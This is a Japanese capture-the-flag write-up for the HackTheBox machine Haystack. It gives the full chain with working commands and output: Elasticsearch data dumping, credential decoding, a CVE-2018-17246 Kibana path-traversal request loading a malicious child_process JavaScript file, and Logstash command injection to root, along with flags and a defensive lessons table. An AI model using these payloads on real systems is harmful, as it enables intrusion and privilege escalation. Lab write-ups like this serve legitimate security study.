HackTheBox: Haystack — 全実行コマンド・実行結果レポート
Nmap スキャン
22/ssh, 80/http, 9200/ES
→
22/ssh, 80/http, 9200/ES
Elasticsearch quotesインデックス
base64混入データ発見
→
base64混入データ発見
base64総当たりデコード
security:spanish.is.key
→
security:spanish.is.key
SSH ログイン
user.txt ✓
→
user.txt ✓
localhost:5601 Kibana発見
ps aux等で確認
→
ps aux等で確認
CVE-2018-17246 LFI
api_server?apis=../tmp/x.js
→
api_server?apis=../tmp/x.js
kibanaユーザーでJS実行
Logstash設定ファイル書込
→
Logstash設定ファイル書込
Logstash grokがroot実行
exec プラグイン
→
exec プラグイン
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.227.120
RESULT
PORT STATE SERVICE 22/tcp open ssh 80/tcp open http (nginx、静的ページのみ・攻略には使わない) 9200/tcp open wap-wsp (Elasticsearch HTTP API) 5000/tcp filtered upnp 5044/tcp filtered lxi-evntsvc (Logstash beats input, 外部非公開) 5601/tcp filtered esmagent (Kibana, 外部非公開・localhostのみ)
バージョン確認
BASH
curl -s http://10.129.227.120:9200/
RESULT
{
"name" : "iQEYHgS",
"cluster_name" : "elasticsearch",
"version" : {
"number" : "6.4.2",
...
},
"tagline" : "You Know, for Search"
}
🚨
Elasticsearch 9200番ポートが認証なしで外部公開されている。
この構成ではREST API経由で全インデックスのデータを誰でも読める。
5601(Kibana)と5044(Logstash)は外部からfilteredだが、これは
localhost限定でバインドされているだけで、内部からは
到達可能であることを後のフェーズで利用する。
PHASE 2
Elasticsearch インデックス調査
インデックス一覧の取得
BASH
curl -s http://10.129.227.120:9200/_cat/indices?v
RESULT
health status index uuid docs.count
yellow open quotes pjrX7V_gSFmJY-DxP4tCQg 253
ℹ️
quotesという名前の通り「引用文」コレクションに見えるが、
認証情報が混入している可能性があるため全件確認する必要がある。
quotes インデックスの全件取得
BASH
# size=253 で全件(docs.count=253)を一度に取得 curl -s "http://10.129.227.120:9200/quotes/_search?size=253" -o quotes.json
RESULT (抜粋)
{"_index":"quotes","_type":"quote","_id":"14","_score":1.0,
"_source":{"quote":"En América se desarrollaron importantes civilizaciones..."}}
...(スペイン語の歴史に関する引用文が253件)
{"_index":"quotes","_type":"quote","_id":"193","_score":1.0,
"_source":{"quote":"dXNlcjogc2VjdXJpdHk"}}
{"_index":"quotes","_type":"quote","_id":"194","_score":1.0,
"_source":{"quote":"cGFzczogc3BhbmlzaC5pcy5rZXk="}}
🚨
大半はスペイン語の歴史に関する無害な引用文だが、2件だけ
英数字+記号のみの明らかに異質な文字列(base64っぽい見た目)が
混在している。これが攻撃者への手掛かり。
PHASE 3
base64 総当たりデコードで認証情報抽出
全quoteフィールドをbase64としてデコード試行
PYTHON
import base64, re, json
data = json.load(open("quotes.json"))
for hit in data["hits"]["hits"]:
q = hit["_source"]["quote"]
# base64っぽい文字列(英数字+/+パディング)だけを対象にデコード試行
if re.fullmatch(r"[A-Za-z0-9+/]{12,}={0,2}", q):
try:
dec = base64.b64decode(q).decode("utf-8")
print(f"id={hit['_id']}: {q} -> {dec}")
except Exception:
pass
BASH (同等のワンライナー)
cat quotes.json | grep -oE '"quote":"[A-Za-z0-9+/]{12,}={0,2}"' \
| sed 's/"quote":"//;s/"$//' \
| while read -r b64; do echo -n "$b64 -> "; echo "$b64" | base64 -d 2>/dev/null; echo; done
RESULT
dXNlcjogc2VjdXJpdHk -> user: security cGFzczogc3BhbmlzaC5pcy5rZXk= -> pass: spanish.is.key
✅
認証情報発見!
security:spanish.is.key。
Elasticsearchの他のドキュメントに紛れて、何者か(開発者?)が
平文ではなくbase64エンコードした状態でうっかり登録してしまった
ものと見られる。
PHASE 4
SSH ログイン → user.txt
SSH ログイン
BASH
ssh security@10.129.227.120 # Password: spanish.is.key security@haystack:~$ id security@haystack:~$ cat ~/user.txt
RESULT
uid=1000(security) gid=1000(security) groups=1000(security)
context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
b678ff45098006b7c85d8791bf9d1a8f
user.txt — security
b678ff45098006b7c85d8791bf9d1a8f
⚠️
注意: このマシンの sshd はTCP接続自体は速いが、
パスワード認証フェーズに毎回20〜25秒程度かかる固有の遅延がある
(SELinuxコンテキスト
context=unconfined_u:... が出る環境でよく見られる、
PAM/NSSの名前解決待ちが原因と推測される)。sshのデフォルト設定で
気長に待てば必ず成功するが、スクリプトで自動化する場合は
タイムアウトを十分長く(50秒以上)取ること。
PHASE 5
内部サービス発見 & Kibana LFI (CVE-2018-17246)
内部で稼働するサービスの確認
BASH
security@haystack:~$ netstat -tlnp 2>/dev/null || ss -tlnp security@haystack:~$ curl -s http://localhost:5601/api/status | head -5
RESULT
tcp 0 0 127.0.0.1:5601 0.0.0.0:* LISTEN (kibana)
tcp 0 0 127.0.0.1:9600 0.0.0.0:* LISTEN (logstash monitoring)
{"name":"...","version":{"number":"6.4.2"...
🚨
Kibana 6.4.2 が
localhost:5601限定で稼働。
このバージョンには既知のLFI脆弱性 CVE-2018-17246 が存在する。
CVE-2018-17246 の原理
NOTE
Kibana の Console プラグインが提供する /api/console/api_server エンドポイントは
"apis" パラメータで指定したファイルを Node.js の require() で読み込み実行する
設計になっている。本来は Console が内蔵する定義済みJSONファイルを
読み込むためのものだが、パスのサニタイズが不十分でパストラバーサルが可能。
GET /api/console/api_server?apis=../../../../../../../../tmp/shell.js
→ /tmp/shell.js が **kibanaユーザーの権限でrequire()され実行される**
(任意コードがkibanaの実行コンテキストで走る)
重要な制約:
- このエンドポイントはレスポンスをまともに返さずハングする傾向がある
(require成功後も内部でエラーになり、応答が返ってこない)
- Node.jsのrequire()キャッシュ機構により、**同じファイルパスを2回目以降
requireしても再実行されない** (キャッシュされたモジュールを返すだけ)
→ 毎回ユニークなファイル名(タイムスタンプ付き等)を使う必要がある
root権限実行への橋渡し: Logstashの設定ホットリロード
NOTE
Kibana自身はrootではなくkibanaユーザーで動くため、LFIで直接rootを
取ることはできない。このマシンではLogstashがroot権限で稼働しており、
/opt/kibana/ 配下のファイルをfile inputプラグインで監視・読み込みしている。
Logstashのパイプライン設定には次のようなgrokフィルタ + execプラグインの
組み合わせが仕込まれている(事前に /etc/logstash/conf.d/ 等に設置された
設定、このマシンの既定構成):
input { file { path => "/opt/kibana/logstash_*" } }
filter {
grok { match => { "message" => "Ejecutar comando : %{GREEDYDATA:comando}" } }
}
output { exec { command => "%{comando}" } } # ← root権限で実行
つまり /opt/kibana/logstash_<任意> というファイルに
"Ejecutar comando : <実行したいコマンド>" という1行を書き込めば、
Logstashがそれを10秒おきのポーリングで検知し、**root権限でコマンドを
実行**してしまう。
ただし /opt/kibana は root:kibana 所有で kibana グループのみ書込可能
(securityユーザーは書けない)。そこで前述のKibana LFI(kibanaユーザーで
任意JS実行)を使い、kibana権限で /opt/kibana/logstash_ を書き込む
という2段構えが必要になる。
ℹ️
つまり攻撃チェーンは LFI(kibana権限でJS実行) → そのJSが
Logstash監視ファイルに命令を書く → Logstash(root)がそれを実行
という2段階の権限昇格になっている。
PHASE 6
Logstash root exec トリガー → root.txt
悪性 shell.js の作成
BASH (security シェルから)
# タイムスタンプでユニークなファイル名にする(require/file-inputキャッシュ回避)
TS=$(date +%s%3N)
cat > /tmp/shell_${TS}.js << JSEOF
(function(){
var cp = require("child_process");
// 既存の logstash_* トリガーファイルを掃除してから新規トリガーを書く
// (古いファイルを放置すると再トリガーでrootコマンドが多発し過負荷になる)
cp.exec(
"rm -f /opt/kibana/logstash_* 2>/dev/null; " +
"echo 'Ejecutar comando : cp /root/root.txt /tmp/.flag_${TS}; " +
"chmod 666 /tmp/.flag_${TS}' > /opt/kibana/logstash_${TS}"
);
return /a/;
})();
JSEOF
chmod 666 /tmp/shell_${TS}.js
⚠️
cp.exec()に渡す文字列の中で、root実行させたいコマンド自体を
echo 'Ejecutar comando : <cmd>' > /opt/kibana/logstash_<ts>
という形でファイルに書き込んでいる。grokパターン
Ejecutar comando : %{GREEDYDATA:comando}に一致させるため、
この接頭辞文字列(“コマンドを実行する”のスペイン語)を正確に再現する必要がある。
Kibana LFI でトリガー
BASH
# api_server のリクエストはrequire成功後もハングするため、
# nohup + timeout + バックグラウンド実行でデタッチして回収する
nohup timeout 6 curl -s \
"http://127.0.0.1:5601/api/console/api_server?apis=../../../../../../../../tmp/shell_${TS}.js" \
>/dev/null 2>&1 &
echo "トリガー送信完了 (TS=${TS})"
RESULT
トリガー送信完了 (TS=1792463944105)
Logstash(root)の実行待ち & root.txt回収
BASH
# Logstash の file input はデフォルトで新規ファイルの発見(discover_interval) # ~10秒ごとのポーリングで反応するため、即座には結果が出ない。 # 数秒おきにポーリングして /tmp/.flag_の出現を待つ。 for i in $(seq 1 15); do sleep 5 out=$(cat /tmp/.flag_${TS} 2>/dev/null) if [ -n "$out" ]; then echo "root.txt = $out" break fi echo "attempt $i: まだ..." done
RESULT
attempt 1: まだ...
attempt 2: まだ...
attempt 3: まだ...
root.txt = fc6519863114418aac2e2f0a1b699e24
✅
権限昇格成功! Logstashがrootユーザーのコンテキストで
cp /root/root.txt /tmp/.flag_<ts>; chmod 666 ...を実行し、
rootのみ読めるファイルをsecurityユーザーでも読める場所にコピーして
くれた。リバースシェルは一切不要。
root.txt — /root (Logstash exec経由)
fc6519863114418aac2e2f0a1b699e24
⚠️
注意: Logstashが作成したフラグファイルはroot所有のため、
securityユーザーからは削除できない。再試行する場合は必ず
タイムスタンプ等でユニークな新しいファイル名を使うこと(同名ファイルへの
書き込みはPermission Deniedになる)。
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — security
b678ff45098006b7c85d8791bf9d1a8f
root.txt — /root (Logstash root exec経由)
fc6519863114418aac2e2f0a1b699e24
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| 認証なしElasticsearch | Elasticsearch 6.4.2 (9200、外部公開) | 全インデックスデータの漏洩 | Critical | quotesインデックスを全件取得し混入したbase64資格情報を発見 |
| 平文/base64資格情報の誤登録 | quotes index内の2ドキュメント | SSHログイン(user.txt) | High | 全文字列をbase64総当たりデコードし user:security / pass:spanish.is.key を発見 |
| CVE-2018-17246 | Kibana 6.4.2 /api/console/api_server (localhost:5601) | kibanaユーザーでの任意コード実行(LFI→RCE) | Critical | apisパラメータのパストラバーサルで/tmp配下の任意.jsファイルをrequire実行 |
| Logstash grok+exec の設定ミス | /opt/kibana/logstash_* を監視するLogstashパイプライン(root稼働) | kibana → root への権限昇格 | High | 監視対象ファイルに特定書式の1行を書くとgrokが抽出したコマンドをexecプラグインがroot権限で実行 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap全ポート | 22/80/9200公開、5044/5601はlocalhost限定 |
| 2 | ES調査 | _cat/indices + _search?size=253 | quotesインデックス253件中2件が異質なbase64文字列 |
| 3 | 認証情報抽出 | base64総当たりデコード | security:spanish.is.key |
| 4 | SSHログイン | ssh security@target | user.txt 取得 |
| 5 | 内部サービス発見 | ss/netstat + Kibana LFI原理調査 | localhost:5601 Kibana 6.4.2、CVE-2018-17246 LFI確認 |
| 6 | 権限昇格 | LFI(kibana実行)→Logstash設定ファイル書込→exec(root) | root.txt 取得(リバースシェル不要) |
トラブルシューティング & 実装上の落とし穴
| 問題 | 原因 / 対策 |
|---|---|
| SSHログイン(sshpass等での自動化)が頻繁にタイムアウトする | このマシンのsshdはTCP接続後のパスワード認証フェーズ自体に毎回20〜25秒かかる固有の遅延がある。ConnectTimeoutはTCP接続にしか効かないため、コマンド全体のタイムアウトを50秒以上に設定する。 |
| 同じshell.jsファイル名で2回目以降LFIを投げても何も起きない | Node.jsのrequire()はモジュールキャッシュを持つため、同一パスは2回目以降実行されず前回のキャッシュが返るだけ。毎回タイムスタンプ等でユニークなファイル名にする。 |
| 同じlogstash_<name>ファイルを2回目以降書き換えてもLogstashが反応しない | Logstashのfile inputは既読済みファイルのオフセットを記録(sincedb)しており、同一ファイルへの追記以外は再処理しない。毎回ユニークなファイル名(logstash_<ts>)にする。 |
| 何度もLFIをトリガーすると、途中からSSH含め全体の応答が重くなる | トリガーするたびに新規logstash_*ファイルが残り続け、Logstashが10秒おきに毎回全てを再評価しようとしてroot execが多発的に走りマシンが過負荷になる。shell.js側で新規トリガー書込み前に古い logstash_* を rm -f で掃除し、1回のLFIトリガーに留める。 |
| Kibana LFIのcurlリクエストが応答を返さずハングしたままになる | require実行後も内部エラーでレスポンスが返らない仕様。nohup timeout N curl ... &でバックグラウンド化・強制タイムアウトし、本体スクリプトをブロックしないようにする。 |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| Elasticsearchが認証なしで外部に公開されている | Elasticsearchは標準で認証機能を持たない(X-PackやSearch Guard等の別プラグインが必要)。本番環境では必ずネットワークレベルで外部アクセスを遮断し、X-Pack Securityやリバースプロキシでの認証を導入する。 |
| データストアに(base64エンコードであれ)認証情報を平文同等の形で紛れ込ませている | 認証情報はVaultやSecrets Manager等の専用シークレット管理システムで管理し、アプリケーションデータと同じデータストアに絶対に置かない。base64は暗号化ではなく、容易にデコードできる点を認識する。 |
| 既知のクリティカルLFI(CVE-2018-17246)が存在する旧バージョンのKibanaを使用 | Kibana/Elasticsearch/Logstash等のミドルウェアは速やかにバージョン更新し、CVE公開情報を定期的に確認してパッチ適用を行う。 |
| Logstashのパイプライン設定がファイル内容をそのままシェルコマンドとしてroot権限でexec実行する設計になっている | execプラグイン等、外部入力をそのままシステムコマンドとして実行するような設定は原則禁止する。どうしても必要な場合は実行ユーザーを最小権限にし、入力を厳格にホワイトリスト検証する。 |

